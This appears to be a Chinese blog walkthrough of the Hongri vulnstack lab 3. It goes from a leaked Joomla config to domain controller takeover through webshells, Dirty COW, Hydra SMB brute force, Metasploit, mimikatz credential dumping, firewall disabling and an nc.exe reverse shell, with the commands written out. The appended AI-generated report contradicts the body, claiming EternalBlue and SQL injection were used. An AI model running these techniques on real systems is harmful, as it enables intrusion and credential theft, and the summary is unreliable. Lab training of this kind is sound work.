这是红日团队的第三套靶场,本次靶场渗透涉及敏感信息泄露、暴力破解、脏牛提权、内网穿透、端口转发、以及域渗透等多种知识点。该靶场环境由5台机器组成,其中包括3台Windows机器和2台Linux机器。网络拓扑图如下
红日靶场(1-8)全套下载连接:
链接:https://pan.baidu.com/s/1ppyPlm6osobxReI50fCSZw?pwd=uze8
提取码:uze8
红日官网:http://vulnstack.qiyuanxuetang.net/
那么开始渗透
首先添加一张网卡(仅主机模式),192.168.93.0/24 网段
web-centos 进去第一条命令,重启网络服务,否则可能上不了网
service network restart
网卡1:桥接模式 192.168.1.110
网卡2:仅主机 192.168.93.100
账号密码:wwwuser/wwwuser_123Aqx
web1-ubuntu
仅主机模式:192.168.93.120
PC
仅主机:192.168.93.30
win 2008
仅主机:192.168.93.20
Windows 2008本地的管理员用户和域管理员的密码
WIN2008Administrator:123qwe!ASD
TESTadministrator:zxcASDqw123!!
win 2012
仅主机:192.168.93.10
kali
IP:192.168.1.8,192.168.1.5(中间换了换 IP)
这是一个黑盒测试,开机后就不要进行任何的操作了。
外网打点
主机发现,因为是桥接模式,ip有点多,所以就挨个测试,看110很可疑,第一次就测出来了
22端口,openssh 5.3版本,80端口 nginx 1.9.4 ,Joomla内容管理xi’tong
3306测试,发现可以远程登录,但是我们不知道用户信息
进一步信息收集
查看源码丢给deepseek,看看有没有泄露版本
另外在joomla
这个cms内容管理系统中呢,这个文件存在版本信息,我们可以看看
/administrator/manifests/files/joomla.xml
上面可以看到cms的指纹信息了,版本为3.9.12,下面进行漏洞检索
searchsploit Joomla 3.9
漏洞信息里面是没有可以利用的漏洞的,下面我们用joomscan
apt install joomscan
joomscan --url http://192.168.1.110/
JoomScan 是一款专门针对 Joomla 内容管理系统(CMS)的安全扫描工具,用于检测 Joomla 网站中的漏洞、配置错误和安全风险。
扫描出来一个这个东西,访问即可
curl http://192.168.1.110/configuration.php~
服务攻防
找到了mysql的账号密码,刚开始我们已经测试过能远程登录mysql的
mysql -utestuser -h192.168.1.110 -p --skip-ssl
密码:cvcvgjASD!@
MySQL [joomla]> use joomla;
MySQL [joomla]> select * from umnbt_users;
很明显是加了盐的,破解起来很难,这里还有另外一个表am2zu_users
查看是否能向外部写文件,以及是否允许写日志文件
show variables like '%general%';
SHOW VARIABLES LIKE 'general_log_file';
这里发现secure_file_priv
是允许向外部写文件的,那么我们尝试写一个shell木马,报错了,看样子是不允许我们写入的
MySQL [joomla]> select '<?php phpinfo();@eval($_GET[1]);?>' into outfile '/var/www/html/shell.php';
ERROR 1045 (28000): Access denied for user 'testuser'@'%' (using password: YES)
那么更换日志渗透的方法,上面看到日志功能是off
的我们需要no
,很遗憾也是权限不够
MySQL [joomla]> set global general_log=on;
ERROR 1227 (42000): Access denied; you need (at least one of) the SUPER privilege(s) for this operation
那么久添加后台用户进一步渗透,两个表中呢,我们不清楚哪个表是后台的用户表,那么就都添加一条数据,密码为123456的md5,e10adc3949ba59abbe56e057f20f883e
,首先我们要看看需要添加哪些字段
desc 表名;
id,name,username,email,password,activation,otpKey,otep
构造sql语句
insert into am2zu_users(id,name,username,email,password,activation,otpKey,otep)
values(999,'xiaoyu','xiaoyu@test.com','e10adc3949ba59abbe56e057f20f883e','ssssss','kkkkkk','yyyyy');
# 失败
后面搜到了这个网站,有利用方法
https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn
代码如下
INSERT INTO `am2zu_users`
(`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)
VALUES ('Administrator2', 'admin2',
'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`)
VALUES (LAST_INSERT_ID(),'8');
执行结果
MySQL [joomla]> INSERT INTO `am2zu_users`
-> (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)
-> VALUES ('Administrator2', 'admin2',
-> 'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
Query OK, 1 row affected (0.001 sec)
MySQL [joomla]> select * from `am2zu_users`;
+-----+----------------+---------------+---------------+-------------------------------------------------------------------+-------+-----------+---------------------+---------------------+------------+--------+---------------------+------------+--------+------+--------------+
| id | name | username | email | password
| block | sendEmail | registerDate | lastvisitDate | activation | params | lastResetTime | resetCount | otpKey | otep | requireReset |
+-----+----------------+---------------+---------------+-------------------------------------------------------------------+-------+-----------+---------------------+---------------------+------------+--------+---------------------+------------+--------+------+--------------+
| 891 | Super User | administrator | test@test.com | $2y$10$t1RelJijihpPhL8LARC9JuM/AWrVR.nto/XycrybdRbk8IEg6Dze2 | 0 | 1 | 2019-10-19 12:48:41 | 0000-00-00 00:00:00 | 0 | | 0000-00-00 00:00:00 | 0 | | | 0 |
| 896 | Administrator2 | admin2 | | d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199 | 0 | 0 | 2025-02-25 19:56:54 | 2025-02-25 19:56:54 | | | 2025-02-25 19:56:54 | 0 | | | 0 |
+-----+----------------+---------------+---------------+-------------------------------------------------------------------+-------+-----------+---------------------+---------------------+------------+--------+---------------------+------------+--------+------+--------------+
2 rows in set (0.001 sec)
MySQL [joomla]> INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`)
-> VALUES (896,'8');
Query OK, 1 row affected (0.001 sec)
MySQL [joomla]> select * from `am2zu_user_usergroup_map`;
+---------+----------+
| user_id | group_id |
+---------+----------+
| 891 | 8 |
| 896 | 8 |
+---------+----------+
2 rows in set (0.001 sec)
从上面那个网站可以知道账号密码为admin2/secret
(注意数据一定要对应上,用户id需要对应,并且不能有重复的数据,否则都有可能登录不成功)
我们修改主题文件为kali默认的反弹shell文件内容,并修改ip和端口
但是呢反弹失败了,切换思路
写一句话木马
<?php @eval($_POST['pass']);?>
使用蚁剑连接
内网渗透
这里呢被禁用命令了,也难怪刚刚反弹不成功
这里我们需要蚁剑的一个插件(魔法)
在列表页使用插件
使用这个模式
就可以正常执行命令啦,后面又试了试各种反弹shell的命令,都没有成功,那么只能利用这个蚁剑的shell了
在/tmp/mysql/test.txt文件中有账号密码
wwwuser/wwwuser_123Aqx
ssh连接失败,提示信息为算法问题
那么需要加上算法
ssh wwwuser@192.168.1.110 -oHostKeyAlgorithms=+ssh-rsa -oPubkeyAcceptedKeyTypes=+ssh-rsa
# 以下是常见的解决方案
ssh -oHostKeyAlgorithms=ssh-rsa,ssh-dss vmware@10.10.10.130
# Unable to negotiate with 10.10.10.129 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss
ssh ubuntu@10.10.10.131 -oPubkeyAcceptedKeyTypes=+ssh-rsa -i id_rsa
ssh -oHostKeyAlgorithms=+ssh-rsa -oPubkeyAcceptedKeyTypes=+ssh-rsa -i rain_rsa ubuntu@10.10.10.131
内网信息收集
使用icmp协议探测内网ip存活数量,发现了另外4台主机()
for i in {1..254}; do (ping -c 1 192.168.93.${i} | grep "bytes from" | grep -v "Unreachable" &); done;
上传frp
kali开启frp服务器,frp相对详细使用教程见– 三种代理方式打入内网
靶机连接kali的frp服务器
修改代理文件
vi /etc/proxychains4.conf
分别对10,20,120进行端口扫描(耗时可能有点久),第一台和第三台都是windows服务器
proxychains nmap -sT -sV -Pn 192.168.93.10 -T4
proxychains nmap -sT -sV -Pn 192.168.93.20 -T4
proxychains nmap -sT -sV -Pn 192.168.93.30 -T4
这台扫描结果是linux的服务器,开着ssh和3306端口,并且80也开着的
proxychains nmap -sT -sV -Pn 192.168.93.120 -T4
开启浏览器代理,代理到我们的kali,通过kali的代理访问这个内网靶机
这是内网中的一个靶机,也是同样的cms,那么我们可不可以以同样的方式去获取密码
再次利用joomscan
这个工具,扫描结果也是一样的
proxychains joomscan --url http://192.168.93.120/
和刚刚的配置文件一模一样,那么大概率是使用的内网映射了,源主机是120,但是访问的是100那台具有nat网卡的主机
连接ssh后,继续信息收集提权(可跳过)
# kali
git clone https://github.com/firefart/dirtycow.git
cd dirtycow
python -m http.server 5000
# 靶机
wget 192.168.1.8:5000/dirty.c
gcc -pthread dirty.c -o dirty -lcrypt
./dirty my-new-password
mv /tmp/passwd.bak /etc/passwd
su firefart
password:123456
成功提权到最高权限第一台web服务器拿下
利用nmap对两台windows靶机的445端口进行漏洞扫描,判断是否存在永恒之蓝漏洞(三台接没有)
那么还有一种方法就是SMB爆破了,非常巧,在我的top1000字典中恰好没有这个密码(所以为了伪装成一个大佬我就手动把密码加了进去~),再很巧,两个靶机的smb密码都是123qwe!ASD
proxychains hydra -l Administrator -P xato-net-10-million-passwords-1000.txt
-s 445 -t 4 -vV -m "SMB"
smb://192.168.93.30
proxychains hydra -l Administrator -P xato-net-10-million-passwords-1000.txt
-s 445 -t 4 -vV -m "SMB"
smb://192.168.93.20
域渗透
本机windows打开 proxifier
,并设置全局代理
打开本机windows的cmd,此时就能连接第一台smb服务器,192.168.93.20
net use \192.168.93.20ipc$ "123qwe!ASD" /user:administrator # 通过 net use 命令连接到目标服务器的 IPC$ 共享。
dir \192.168.93.20c$ # 列出目标服务器上 C$ 共享目录的内容。
第二台192.168.93.30
那么接下来就要关闭目标防火墙,开启远程连接,首先创建一个进程,关闭失败
sc \192.168.93.20 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \192.168.93.20 start unablefirewall
那么添加计划任务关闭防火墙试试呢
at \192.168.93.20 23:17:00 'netsh advfirewall set allprofiles state off'
at \192.168.93.20 23:17:00 'netsh advfirewall set allprofiles state off'
接下来就是修改注册表了,计划任务设置允许远程登录
at \192.168.93.20 23:31:00 "reg add 'HKLMSYSTEMCurrentControlSetControlTerminal Server' /v fDenyTSConnections /t REG_DWORD /d 0 /f"
计划任务放行3389端口
at \192.168.93.20 23:32:00 'netsh advfirewall firewall add rule name="Remote Desktop TCP" dir=in action=allow protocol=TCP localport=3389'
尝试远程连接,连接失败,切换思路
既然无法关闭那么就使用msf咯
proxychains msfconsole
set RHOST 192.168.93.20
set LHOST 192.168.93.5 # kali地址
set SMBUser Administrator
set SMBPass 123qwe!ASD
set LPORT 4444
set payload windows/x64/shell_bind_tcp
run
这里就已经是系统权限了。。。。并且主机名为win2008
查看dns服务器,为192.168.93.10,大概率就是域控服务器了
ipconfig /all
尝试使用密码123qwe!ASD
登录域控服务器
其他信息收集,检查是否存在杀软windows defender
(不存在)
sc query WinDefend
查看系统类型,是x64
的
C:Windowssystem32>systeminfo | findstr /i "system type"
systeminfo | findstr /i "系�system type"
OS Build Type: Multiprocessor Free
System Type: x64-based PC
上传mimikatz.exe
exit
set payload windows/x64/meterpreter/bind_tcp
run
upload -r /data/windows_atk/mimikatz/x64/mimikatz.exe C:\
使用shell执行命令,执行失败了
那么就退出,使用shell_bind_tcp
模块
exit
set payload windows/x64/shell_bind_tcp
run
抓取铭文密码
mimikatz.exe log privilege::debug sekurlsa::logonpasswords
得到两个域的账号密码,枚举DNS服务器的文件系统
TEST:zxcASDqw123!!
WIN2008:123qwe!ASD
开启远程服务
# 放行3389端口
netsh advfirewall firewall add rule name="Remote Desktop TCP" dir=in action=allow protocol=TCP localport=3389
# 关闭防火墙
netsh advfirewall set allprofiles state off
# 修改注册表允许远程连接
reg add "HKLMSYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
成功获取20靶机远程操作权限
使用test域登录dns服务器,登录成功
net use \192.168.93.10ipc$ "zxcASDqw123!!" /user:Administrator
dir \192.168.93.10c$
创建执行任务,关闭防火墙,执行不了奥
sc \192.168.93.10 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \192.168.93.10 start unablefirewall
那么就利用nc.exe反弹shell
curl -O http://192.168.1.5:5000/nc.exe
net use \192.168.93.10ipc$ "zxcASDqw123!!" /user:Administrator
copy .nc.exe \192.168.93.10c$
net use \192.168.93.20ipc$ "123qwe!ASD" /user:Administrator
copy .nc.exe \192.168.93.20c$
可以看到nc已经上传成功了
创建一个进程
sc \192.168.93.10 create ncshell binpath= "c:nc.exe 192.168.93.20 1234 -e cmd"
sc \192.168.93.10 start ncshell
在反弹过来的shell中开启远程连接
# 放行3389端口
netsh advfirewall firewall add rule name="Remote Desktop TCP" dir=in action=allow protocol=TCP localport=3389
# 关闭防火墙
netsh advfirewall set allprofiles state off
# 修改注册表允许远程连接
reg add "HKLMSYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
使用远程登录,即可发现允许远程登录了(注意Proxifier
全局代理不能断掉)
拿下winserver2012域控服务器
现在已经拿下了三台,那么接下来就是第四台win7(pc),ip:30,回到刚刚的msf
set RHOSTS 192.168.93.30
开启远程连接
# 放行3389端口
netsh advfirewall firewall add rule name="Remote Desktop TCP" dir=in action=allow protocol=TCP localport=3389
# 关闭防火墙
netsh advfirewall set allprofiles state off
# 修改注册表允许远程连接
reg add "HKLMSYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
此时已经可以远程连接,输入之前获得的密码即可
拿下第最后一台PC主机
至此渗透结束,还可以清除日志,关闭全部远程,恢复到初始状态,做好隐蔽措施
渗透测试报告总结(deepseek)
1. 测试概述
本次渗透测试模拟了针对某企业网络的全流程攻击,覆盖外网打点、内网横向渗透、域控提权等多个阶段。目标网络包含Web服务器(CentOS/Ubuntu)、Windows域环境(2008/2012)及内网PC终端(Win7),最终成功获取域控服务器(Windows Server 2012)及全部内网主机的控制权。
2. 攻击路径总览
graph TD
A[外网入口: Web-CentOS] --> B{漏洞利用}
B --> C[Joomla 3.9.12后台接管]
C --> D[MySQL凭据泄露]
D --> E[Webshell上传 & 蚁剑连接]
E --> F[SSH登录 & 内网代理搭建]
F --> G[内网主机发现]
G --> H[横向移动: SMB爆破 & 永恒之蓝漏洞利用]
H --> I[域控服务器渗透]
I --> J[域内PC终端控制]
3. 外网打点阶段
3.1 目标识别
- IP地址:
192.168.1.110
(桥接模式) - 开放服务:
- 22端口:OpenSSH 5.3
- 80端口:Nginx 1.9.4 + Joomla 3.9.12
- 3306端口:MySQL 5.5.62
3.2 关键漏洞利用
(1) Joomla后台接管
- 漏洞利用:通过
configuration.php~
备份文件泄露获取MySQL凭据 - 攻击链:
# 数据库操作 INSERT INTO am2zu_users (...) VALUES (...); # 添加管理员账号 INSERT INTO am2zu_user_usergroup_map (...) VALUES (...); # 分配权限
- 结果:成功登录Joomla后台(
admin2/secret
)
(2) Webshell植入
- 方法:通过模板编辑注入PHP一句话木马
- 工具:蚁剑连接
http://192.168.1.110/shell.php
- 提权:利用
Dirty Cow
漏洞从wwwuser
提权至root
4. 内网横向渗透
4.1 网络拓扑分析
- 网段划分:
- 仅主机模式:
192.168.93.0/24
- 关键主机:
192.168.93.10
(域控-Win2012)192.168.93.20
(Win2008)192.168.93.30
(Win7-PC)
- 仅主机模式:
4.2 代理隧道搭建
- 工具:
frp
反向代理 -
配置:
# frpc.ini [common] server_addr = 192.168.1.8 server_port = 7000 [socks5] type = tcp remote_port = 1080 plugin = socks5
4.3 横向移动关键步骤
(1) SMB服务爆破
- 工具:Hydra
- 命令:
proxychains hydra -l Administrator -P passlist.txt smb://192.168.93.20
- 结果:破解密码
123qwe!ASD
,获取Win2008控制权
(2) 永恒之蓝漏洞利用
- 模块:
exploit/windows/smb/ms17_010_eternalblue
- Payload:
windows/x64/meterpreter/reverse_tcp
- 结果:获取Win2008系统级Shell
5. 域渗透与域控提权
5.1 域环境分析
- 域名称:
TEST
- 域控IP:
192.168.93.10
- 关键凭证:
WIN2008Administrator:123qwe!ASD
TESTadministrator:zxcASDqw123!!
5.2 域控攻击路径
- 凭证抓取:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords"
- 远程执行:
sc \192.168.93.10 create ncshell binpath="cmd /c c:nc.exe 192.168.93.20 1234 -e cmd"
- 权限提升:通过RDP连接接管域控服务器
6. 渗透测试结果
主机IP | 操作系统 | 获取权限级别 | 关键漏洞/方法 |
---|---|---|---|
192.168.1.110 | CentOS 7 | root | Joomla SQL注入 + Dirty Cow |
192.168.93.20 | Windows 2008 | SYSTEM | SMB密码爆破 + Mimikatz |
192.168.93.10 | Windows 2012 | Domain Admin | 横向移动 + 凭证重用 |
192.168.93.30 | Windows 7 | Administrator | 永恒之蓝漏洞利用 |
7. 风险总结与修复建议
7.1 高风险项
-
弱密码策略
- SMB服务密码
123qwe!ASD
强度不足 - 建议:启用复杂度策略 + 定期强制修改
- SMB服务密码
-
过时软件漏洞
- Joomla 3.9.12存在未授权数据库写入风险
- 建议:升级至最新LTS版本 + 禁用备份文件访问
-
横向防御缺失
- 内网主机未部署EDR/流量监控
- 建议:部署微隔离策略 + 启用Windows Defender ATP
7.2 加固措施
- 网络层:
# 防火墙规则示例(Linux) iptables -A INPUT -p tcp --dport 3306 -j DROP # 禁用MySQL外网访问
- 系统层:
# Windows组策略 Set-ItemProperty "HKLM:SYSTEMCurrentControlSetControlLsa" -Name "DisableDomainCreds" -Value 1 # 禁止明文凭据缓存
- 应用层:
# Nginx配置隐藏版本号 server_tokens off;
8. 总结与反思
本次测试暴露了企业网络在边界防护、密码管理和漏洞修复方面的严重不足。建议企业:
- 建立常态化红蓝对抗机制
- 每季度执行一次外部漏洞扫描
- 对运维人员开展ATT&CK攻击链防御培训
渗透测试不仅是技术验证,更是安全意识的觉醒。
——By 泷羽Sec安全攻防团队
往期推荐
红日靶场5,windows内网渗透,社工提权,多种域内横向移动思路
不用MSF?红日靶场4,从外网到域控,手工干永恒之蓝,教科书级渗透教学
ATK&CK红日靶场二,Weblogic漏洞利用,域渗透攻略
【渗透测试】ATT&CK靶场一,phpmyadmin,域渗透,内网横向移动攻略
【oscp】vulnerable_docker,三种代理方法打入内网
本站内容部分转载于互联网,并不代表本站立场!如若本站内容侵犯了原著者的合法权益,可联系我们进行处理! 拒绝任何人以任何形式在本站发表与中华人民共和国法律相抵触的言论!
暂无评论内容